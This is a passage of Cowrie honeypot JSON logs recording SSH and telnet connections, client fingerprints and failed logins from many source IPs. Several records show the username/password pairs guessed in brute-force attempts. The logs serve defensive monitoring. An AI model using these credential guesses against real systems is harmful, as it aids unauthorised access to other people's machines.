05@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:42:06.129341Z","src_ip":"131.161.219.137","session":"3dac67bd35c9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vpn1","password":"vpn1","message":"login attempt [vpn1/vpn1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:42:06.675279Z","src_ip":"131.161.219.137","session":"3dac67bd35c9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.569091796875,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:42:07.143250Z","src_ip":"135.148.33.91","session":"ae245915d793","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:42:07.806664Z","src_ip":"131.161.219.137","session":"3dac67bd35c9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"201.6.100.191","src_port":42706,"dst_ip":"159.203.135.109","dst_port":22,"session":"9c367d612ab2","protocol":"ssh","message":"New connection: 201.6.100.191:42706 (159.203.135.109:22) [session: 9c367d612ab2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:42:15.393532Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:42:15.398850Z","src_ip":"201.6.100.191","session":"9c367d612ab2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:42:15.527518Z","src_ip":"201.6.100.191","session":"9c367d612ab2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deployer","password":"deployerpass","message":"login attempt [deployer/deployerpass] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:42:16.082154Z","src_ip":"201.6.100.191","session":"9c367d612ab2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.125.103.201","src_port":39318,"dst_ip":"10.17.0.5","dst_port":22,"session":"147687309fec","protocol":"ssh","message":"New connection: 103.125.103.201:39318 (10.17.0.5:22) [session: 147687309fec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:42:16.446982Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:42:16.451344Z","src_ip":"103.125.103.201","session":"147687309fec","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:42:16.688954Z","src_ip":"103.125.103.201","session":"147687309fec","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:42:17.216574Z","src_ip":"201.6.100.191","session":"9c367d612ab2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin!@#$","message":"login attempt [root/admin!@#$] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:42:17.675409Z","src_ip":"103.125.103.201","session":"147687309fec","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:42:18.916230Z","src_ip":"103.125.103.201","session":"147687309fec","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"14.103.114.231","src_port":34948,"dst_ip":"10.17.0.5","dst_port":22,"session":"e705183dfa02","protocol":"ssh","message":"New connection: 14.103.114.231:34948 (10.17.0.5:22) [session: e705183dfa02]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:42:36.375206Z"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.112","src_port":29602,"dst_ip":"159.203.135.109","dst_port":22,"session":"9ef596d06561","protocol":"ssh","message":"New connection: 2.57.121.112:29602 (159.203.135.109:22) [session: 9ef596d06561]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:42:41.334830Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:42:41.339263Z","src_ip":"2.57.121.112","session":"9ef596d06561","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:42:41.445370Z","src_ip":"2.57.121.112","session":"9ef596d06561","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"purzel","message":"login attempt [admin/purzel] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:42:41.942400Z","src_ip":"2.57.121.112","session":"9ef596d06561","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"puertorico","message":"login attempt [admin/puertorico] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:42:43.052643Z","src_ip":"2.57.121.112","session":"9ef596d06561","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"ptybnxtvgbjy","message":"login attempt [admin/ptybnxtvgbjy] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:42:44.161610Z","src_ip":"2.57.121.112","session":"9ef596d06561","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"181.97.227.163","src_port":46032,"dst_ip":"10.17.0.5","dst_port":22,"session":"6d89a2065990","protocol":"ssh","message":"New connection: 181.97.227.163:46032 (10.17.0.5:22) [session: 6d89a2065990]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:42:44.676483Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:42:44.681642Z","src_ip":"181.97.227.163","session":"6d89a2065990","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:42:44.886331Z","src_ip":"181.97.227.163","session":"6d89a2065990","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"PtBDHW","message":"login attempt [admin/PtBDHW] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:42:45.273175Z","src_ip":"2.57.121.112","session":"9ef596d06561","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"www","password":"test123","message":"login attempt [www/test123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:42:45.735843Z","src_ip":"181.97.227.163","session":"6d89a2065990","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"psycho1","message":"login attempt [admin/psycho1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:42:46.382208Z","src_ip":"2.57.121.112","session":"9ef596d06561","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:42:46.943494Z","src_ip":"181.97.227.163","session":"6d89a2065990","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.2","message":"Connection lost after 6.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:42:47.490992Z","src_ip":"2.57.121.112","session":"9ef596d06561","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"154.81.14.172","src_port":59376,"dst_ip":"10.17.0.5","dst_port":22,"session":"34bd21ebe64e","protocol":"ssh","message":"New connection: 154.81.14.172:59376 (10.17.0.5:22) [session: 34bd21ebe64e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:42:49.780075Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:42:49.784798Z","src_ip":"154.81.14.172","session":"34bd21ebe64e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:42:55.784266Z","src_ip":"154.81.14.172","session":"34bd21ebe64e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.0","message":"Connection lost after 6.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:42:55.795357Z","src_ip":"154.81.14.172","session":"34bd21ebe64e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.158.40.65","src_port":40674,"dst_ip":"159.203.135.109","dst_port":22,"session":"89f2eed55d3b","protocol":"ssh","message":"New connection: 103.158.40.65:40674 (159.203.135.109:22) [session: 89f2eed55d3b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:42:56.114298Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:42:56.119138Z","src_ip":"103.158.40.65","session":"89f2eed55d3b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:42:56.347477Z","src_ip":"103.158.40.65","session":"89f2eed55d3b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"phpmyadmin","password":"root","message":"login attempt [phpmyadmin/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:42:57.276098Z","src_ip":"103.158.40.65","session":"89f2eed55d3b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:42:58.504523Z","src_ip":"103.158.40.65","session":"89f2eed55d3b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"131.161.219.137","src_port":7860,"dst_ip":"159.203.135.109","dst_port":22,"session":"17b607aabfcb","protocol":"ssh","message":"New connection: 131.161.219.137:7860 (159.203.135.109:22) [session: 17b607aabfcb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:43:03.452964Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:43:03.457868Z","src_ip":"131.161.219.137","session":"17b607aabfcb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:43:03.590463Z","src_ip":"131.161.219.137","session":"17b607aabfcb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"username","message":"login attempt [root/username] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:43:04.143688Z","src_ip":"131.161.219.137","session":"17b607aabfcb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:43:05.275955Z","src_ip":"131.161.219.137","session":"17b607aabfcb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"188.50.54.127","src_port":1551,"dst_ip":"10.17.0.5","dst_port":23,"session":"7c90b8574334","protocol":"telnet","message":"New connection: 188.50.54.127:1551 (10.17.0.5:23) [session: 7c90b8574334]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:43:05.592713Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.125.103.201","src_port":39404,"dst_ip":"10.17.0.5","dst_port":22,"session":"b51d6fddb55d","protocol":"ssh","message":"New connection: 103.125.103.201:39404 (10.17.0.5:22) [session: b51d6fddb55d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:43:13.894441Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:43:13.899123Z","src_ip":"103.125.103.201","session":"b51d6fddb55d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-h